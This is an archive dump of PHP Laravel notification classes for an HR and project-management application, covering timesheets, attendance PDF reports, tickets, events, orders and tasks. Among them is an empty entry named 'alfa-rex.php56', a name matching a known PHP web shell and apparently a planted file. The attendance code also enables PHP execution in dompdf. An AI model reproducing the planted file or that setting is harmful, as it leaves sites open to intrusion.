->line(__('email.weeklyTimesheetApproved.text1', ['startDate' => $this->weeklyTimesheet->week_start_date->copy()->translatedFormat($this->company->date_format), 'endDate' => $this->weeklyTimesheet->week_start_date->copy()->addDays(6)->translatedFormat($this->company->date_format), 'employeeName' => $this->weeklyTimesheet->user->name])) ->action(__('email.weeklyTimesheetApproved.action'), route('weekly-timesheets.show', $this->weeklyTimesheet->id)) ->line(__('email.weeklyTimesheetApproved.thankYou')); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/MonthlyAttendance.php000064400000024426150325104500013512 0ustar00user = $user; $this->company = $this->user->company; $this->previousMonth = now()->timezone($this->company->timezone)->subWeek(); $this->month = $this->previousMonth->copy()->month; $this->year = $this->previousMonth->copy()->year; Config::set('app.logo', $this->company->masked_logo_url); // $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } public function attachments() { return [ Attachment::fromData(fn() => $this->domPdfObjectForDownload()['pdf']->output(), 'Attendance-Report-' . Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y') . '.pdf') ->withMime('application/pdf'), ]; } public function domPdfObjectForDownload() { $company = $this->company; $employees = User::with( [ 'attendance' => function ($query) { $query->whereRaw('MONTH(attendances.clock_in_time) = ?', [$this->month]) ->whereRaw('YEAR(attendances.clock_in_time) = ?', [$this->year]); }, 'leaves' => function ($query) { $query->whereRaw('MONTH(leaves.leave_date) = ?', [$this->month]) ->whereRaw('YEAR(leaves.leave_date) = ?', [$this->year]) ->where('status', 'approved'); }, 'shifts' => function ($query) { $query->whereRaw('MONTH(employee_shift_schedules.date) = ?', [$this->month]) ->whereRaw('YEAR(employee_shift_schedules.date) = ?', [$this->year]); }] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->onlyEmployee() ->where('users.company_id', $company->id) ->groupBy('users.id'); $employees = $employees->get(); $holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$this->month])->whereRaw('YEAR(holidays.date) = ?', [$this->year])->get(); $final = []; $holidayOccasions = []; $daysInMonth = Carbon::parse('01-' . $this->month . '-' . $this->year)->daysInMonth; $now = now()->timezone($this->company->timezone); $requestedDate = Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year))->endOfMonth(); foreach ($employees as $employee) { $dataBeforeJoin = null; $dataTillToday = array_fill(1, $now->copy()->format('d'), 'Absent'); if (($now->copy()->format('d') != $daysInMonth) && !$requestedDate->isPast()) { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), ((int)$daysInMonth - (int)$now->copy()->format('d')), '-'); } else { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), ((int)$daysInMonth - (int)$now->copy()->format('d')), 'Absent'); } $final[$employee->id . '#' . $employee->name] = array_replace($dataTillToday, $dataFromTomorrow); $shiftScheduleCollection = $employee->shifts->keyBy('date'); foreach ($employee->attendance as $attendance) { $clockInTime = Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_in_time->timezone($company->timezone)->toDateTimeString(), 'UTC'); if (isset($shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()])) { $shiftStartTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->office_start_time); $shiftEndTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->office_end_time); if ($clockInTime->between($shiftStartTime, $shiftEndTime)) { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } else if ($attendance->employee_shift_id == $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->id) { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } elseif ($clockInTime->betweenIncluded($shiftStartTime->copy()->subDay(), $shiftEndTime->copy()->subDay())) { $final[$employee->id . '#' . $employee->name][$clockInTime->copy()->subDay()->day] = '✓'; } else { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } } else { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } } $emplolyeeName = $employee->name; $final[$employee->id . '#' . $employee->name][] = $emplolyeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year)))) { if ($this->month == $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } if (($this->month < $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) || $this->year < $employee->employeeDetail->joining_date->format('Y')) { $dataBeforeJoin = array_fill(1, $daysInMonth, '-'); } } if (Carbon::parse('01-' . $this->month . '-' . $this->year)->isFuture()) { $dataBeforeJoin = array_fill(1, $daysInMonth, '-'); } if (!is_null($dataBeforeJoin)) { $final[$employee->id . '#' . $employee->name] = array_replace($final[$employee->id . '#' . $employee->name], $dataBeforeJoin); } foreach ($employee->leaves as $leave) { if ($leave->duration == 'half day') { if ($final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == '-' || $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == 'Absent') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Half Day'; } } else { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Leave'; } } foreach ($holidays as $holiday) { if ($final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holiday->date->day] == '-') { $final[$employee->id . '#' . $employee->name][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; } } } $employeeAttendence = $final; $weekMap = Holiday::weekMap('D'); $pdf = app('dompdf.wrapper')->setPaper('A4', 'landscape'); $options = $pdf->getOptions(); $options->set(array('enable_php' => true)); $pdf->getDomPDF()->setOptions($options); /** @phpstan-ignore-line */ $pdf->loadView('attendance-report', ['daysInMonth' => $daysInMonth, 'month' => $this->month, 'year' => $this->year, 'weekMap' => $weekMap, 'employeeAttendence' => $employeeAttendence, 'holidayOccasions' => $holidayOccasions, 'company' => $company]); $filename = 'attendance-report'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $pdfOption = $this->domPdfObjectForDownload(); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $build->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $build->subject(__('email.attendanceReport.subject') . ' ' . Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y')) ->markdown('mail.attendance.monthly-report', ['month' => Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y')]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/LeadImported.php000064400000006073150325104510012441 0ustar00emailSetting = EmailNotificationSetting::where('company_id', company()->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $leads = Session::get('leads', []); $content = __('email.leads.subject') . '
'; $counter = 0; foreach ($leads as $lead) { $counter++; if (!empty($lead['lead_name'])) { $content .= __('modules.lead.clientName') . ": " . nl2br($lead['lead_name']) . "
"; } if (!empty($lead['email'])) { $content .= __('modules.lead.clientEmail') . ": " . $lead['email'] . "
"; } if (!empty($lead['deal_name'])) { $content .= __('modules.deal.dealName') . ": " . nl2br($lead['deal_name']) . "
"; } if ($counter >= 10) { break; } } $content .= "
"; if (count($leads) > 10) { $url = route('lead-contact.index'); $build ->subject(__('email.leads.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => company()->header_color, 'actionText' => __('email.leadAgent.viewMore'), 'notifiableName' => $notifiable->name ]); } else { $build ->subject(__('email.leads.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'content' => $content, 'themeColor' => company()->header_color, 'notifiableName' => $notifiable->name ]); } parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { $leads = Session::get('leads', []); return [ 'leads' => $leads ]; } } Notifications/alfa-rex.php56000064400000026574150325104510011752 0ustar00Notifications/NewTicketNote.php000064400000006750150325104510012615 0ustar00ticketReply = $ticket; $this->ticket = $ticket->ticket; $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active' && $notifiable->isEmployee($notifiable->id)) { array_push($via, 'slack'); } return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); if ($this->ticketReply->user_id == $notifiable->id) { $text = '

' . $this->ticketReply->user->name . ' ' . __('email.ticketReply.receivedNote'); } else { $text = '

' . $this->ticketReply->user->name . ' ' . __('email.ticketReply.receivedNote'); } $content = new HtmlString($text); $build ->subject(__('email.ticketReply.noteAdded') . ' - ' . $this->ticket->subject) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.ticketReply.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } public function toSlack($notifiable) { $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.ticketReply.subject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name . "\n" . '<' . $url . '|' . __('modules.tickets.ticket') . ' #' . $this->ticket->id . '>' . "\n"); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->id, 'created_at' => $this->ticketReply->created_at->format('Y-m-d H:i:s'), 'subject' => $this->ticket->subject, 'user_id' => $this->ticketReply->user_id, 'status' => $this->ticket->status, 'agent_id' => $this->ticket->agent_id, 'ticket_number' => $this->ticket->ticket_number ]; } } Notifications/WeeklyTimesheetRejected.php000064400000003741150325104510014645 0ustar00weeklyTimesheet = $weeklyTimesheet; $this->company = $this->weeklyTimesheet->company; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $build ->subject(__('email.weeklyTimesheetRejected.subject')) ->greeting(__('email.weeklyTimesheetRejected.greeting')) ->line(__('email.weeklyTimesheetRejected.text')) ->line(__('email.weeklyTimesheetRejected.text1', ['startDate' => $this->weeklyTimesheet->week_start_date->copy()->translatedFormat($this->company->date_format), 'endDate' => $this->weeklyTimesheet->week_start_date->copy()->addDays(6)->translatedFormat($this->company->date_format)])) ->line(__('email.weeklyTimesheetRejected.text2', ['reason' => $this->weeklyTimesheet->reason])) ->action(__('email.weeklyTimesheetRejected.action'), route('weekly-timesheets.edit', $this->weeklyTimesheet->id)) ->line(__('email.weeklyTimesheetRejected.thankYou')); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/InvitationEmail.php000064400000003753150325104510013166 0ustar00invite = $invite; $this->company = $invite->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('invitation', $this->invite->invitation_code); $url = getDomainSpecificUrl($url, $this->company); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $content = $this->invite->user->name . ' ' . __('email.invitation.subject') . config('app.name') . '.' . '
' . $this->invite->message; $build ->subject($this->invite->user->name . ' ' . __('email.invitation.subject') . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.invitation.action') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/EventInviteMention.php000064400000007522150325104510013662 0ustar00event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage * @throws \Exception */ public function toMail($notifiable) { $eventInvite = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.text') . '

' . __('modules.events.eventName') . ': ' . $this->event->event_name . '
' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format); $eventInvite->subject(__('email.newEvent.mentionSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); $eventInvite->attachData($vFile, 'cal.ics', [ 'mime' => 'text/calendar', ]); return $eventInvite; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newEvent.mentionSubject') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } Notifications/NewCustomer.php000064400000005251150325104510012340 0ustar00user = $user; $this->company = $this->user->company; } /** * Get the notification's delivery channels. * * @return array */ public function via() { $via = ['mail', 'database']; if ($this->company->slackSetting->status == 'active') { array_push($via, 'slack'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('clients.show', $this->user->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newCustomer.text') . '
' . __('app.name') . ': ' . $this->user->name . '
' . __('app.email') . ': ' . $this->user->email; $build ->subject(__('email.newCustomer.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('app.view') . ' ' . __('app.client'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->user->id, 'name' => $this->user->name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { try { $url = route('clients.show', $this->user->id); $url = getDomainSpecificUrl($url, $this->company); $content = '*' . __('email.newCustomer.subject') . ' ' . config('app.name') . '!*' . "\n" . __('email.newCustomer.text') . "\n" . __('app.name') . ': ' . $this->user->name . "\n" . __('app.email') . ': ' . $this->user->email; return $this->slackBuild($notifiable)->content($content ); } catch (\Exception $e) { return $this->slackRedirectMessage('email.newCustomer.subject', $notifiable); } } } Notifications/TicketAgent.php000064400000007722150325104510012274 0ustar00ticket = $ticket; // We need to set the company in parent BaseNotification for getting proper // email of sender $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.ticketAgent.subject'). ' # ' . $this->ticket->id , $this->ticket->subject); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.ticketAgent.text') . '
' . __('modules.tickets.ticket') . ' # ' . $this->ticket->id . '
' . __('app.subject') . ' - ' . $this->ticket->subject; $build ->subject(__('email.ticketAgent.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.ticketAgent.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->ticket_number, 'subject' => $this->ticket->subject ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.ticketAgent.subject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.ticketAgent.subject')) ->setBody(__('email.ticketAgent.text')); } } Notifications/AttendanceReminder.php000064400000003124150325104510013616 0ustar00email != '') { $via = ['mail']; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $this->company = $notifiable->company; $url = route('dashboard'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.AttendanceReminder.text'); $build ->subject(__('email.AttendanceReminder.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.AttendanceReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable): array { return $notifiable->toArray(); } } Notifications/BaseNotification.php000064400000012523150325104510013306 0ustar00company; $globalSetting = GlobalSetting::first(); $locale = $notifiable->locale ?? 'en'; // Set the application locale based on the company's locale or global settings if (isset($locale)) { App::setLocale($locale ?? (!is_null($company) ? $company->locale : 'en')); } else { App::setLocale(session('locale') ?: $globalSetting->locale); } // Retrieve SMTP settings $smtpSetting = SmtpSetting::first(); // Initialize a mail message instance $build = (new MailMessage); // Set default reply name and email to SMTP settings $replyName = $companyName = $smtpSetting->mail_from_name; $replyEmail = $companyEmail = $smtpSetting->mail_from_email; // Set the application logo URL from the global settings Config::set('app.logo', $globalSetting->masked_logo_url); Config::set('app.name', $companyName); // If the application is Worksuite, return the mail message with SMTP settings if (isWorksuite()) { return $build->from($companyEmail, $companyName); } // If a company is specified, customize the reply name, email, logo URL, and application name if (!is_null($company)) { $replyName = $company->company_name; $replyEmail = $company->company_email; Config::set('app.logo', $company->masked_logo_url); Config::set('app.name', $replyName); } // Ensure that the company email and name are used if mail verification is successful $companyEmail = config('mail.verified') === true ? $companyEmail : $replyEmail; // $companyName = config('mail.verified') === true ? $companyName : $replyName; // Return the mail message with configured from and replyTo settings return $build->from($companyEmail, $replyName)->replyTo($replyEmail, $replyName); } protected function modifyUrl($url) { return getDomainSpecificUrl($url, $this->company); } /** * Build a Slack message for notification. */ protected function slackBuild($notifiable): SlackMessage { // Retrieve Slack settings for the company $slack = $notifiable->company->slackSetting; // Compose and return a Slack message return (new SlackMessage()) ->from($notifiable->company->company_name) // Set the sender name ->to('@' . $notifiable->employeeDetail->slack_username) // Set the recipient's Slack username ->image(asset_url_local_s3('slack-logo/' . $slack->slack_logo)); // Set the image for Slack message } /** * Create a Slack message for redirected notifications. */ protected function slackRedirectMessage($subjectKey, $notifiable) { try { // Build a Slack message using the slackBuild function return $this->slackBuild($notifiable) ->content('*' . __($subjectKey) . '*' . "\n" . 'This is a redirected notification. Add slack username for *' . $notifiable->name . '*'); } catch (\Exception $e) { // Catch and display any exceptions occurred echo $e->getMessage(); } } /** * Check if the notifiable has a Slack username. * * @param mixed $notifiable * @return bool */ protected function slackUserNameCheck($notifiable): bool { if (!isset($notifiable->employeeDetail)) { return false; } if (is_array($notifiable->employee)) { if (count($notifiable->employee) == 0) { return false; } } // Check if the notifiable a non-empty Slack username return (!is_null($notifiable->employeeDetail->slack_username) && ($notifiable->employeeDetail->slack_username != '')); } public function resetLocale() { // Set the company and global settings $company = $this->company; $globalSetting = GlobalSetting::first(); // Set the application locale based on the company's locale or global settings if (!is_null($company)) { App::setLocale($company->locale ?? 'en'); } else { App::setLocale(session('locale') ?: $globalSetting->locale); } } } Notifications/OrderUpdated.php000064400000006075150325104510012454 0ustar00order = $order; $this->company = $this->order->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'order-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.order.updateSubject'), $this->order->order_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $build = parent::build($notifiable); if ($this->order) { $url = route('orders.show', $this->order->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.order.updateText'); $build ->subject(__('email.order.updateSubject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.order.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->order->id, 'order_number' => $this->order->order_number ]; } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.order.updateSubject')) ->setBody(__('email.order.updateText')); } } Notifications/AutoTaskReminder.php000064400000010147150325104510013306 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.reminder.subject'), $this->task->heading . ' #' . $this->task->task_short_code); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $content = $this->task->heading . ' #' . $this->task->task_short_code . '

' . __('email.dueOn') . ': ' . $dueDate . '

'; $build ->subject(__('email.reminder.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.task.reminder', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; return $this->slackBuild($notifiable) ->content('*' . __('email.reminder.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code . "\n" . __('app.dueDate') . ': ' . $dueDate); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.reminder.subject')) ->setBody($this->task->heading . ' #' . $this->task->task_short_code); } } Notifications/RemovalRequestAdminNotification.php000064400000002505150325104510016362 0ustar00email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $content = __('email.removalRequestAdmin.text'); $build ->subject(__('email.removalRequestAdmin.subject') . ' ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/TaskComment.php000064400000011140150325104510012304 0ustar00task = $task; $this->taskComment = $taskComment; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { if ($notifiable->id == user()->id) { return []; } $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskComment.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->task->id, 'view' => 'comments']); $url = getDomainSpecificUrl($url, $this->company); $heading = __('email.taskComment.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code . '
'; $projectName = ($this->task->project != null) ? '
' . __('app.project') . ' - ' . $this->task->project->project_name . '
' : '
'; $comment = '
' . __('app.comment') . ' - ' . $this->taskComment->comment . '
'; $commentBy = ($this->taskComment && $this->taskComment->user) ? __('email.taskComment.commentedBy') . ' - ' . $this->taskComment->user->name . '
' : '
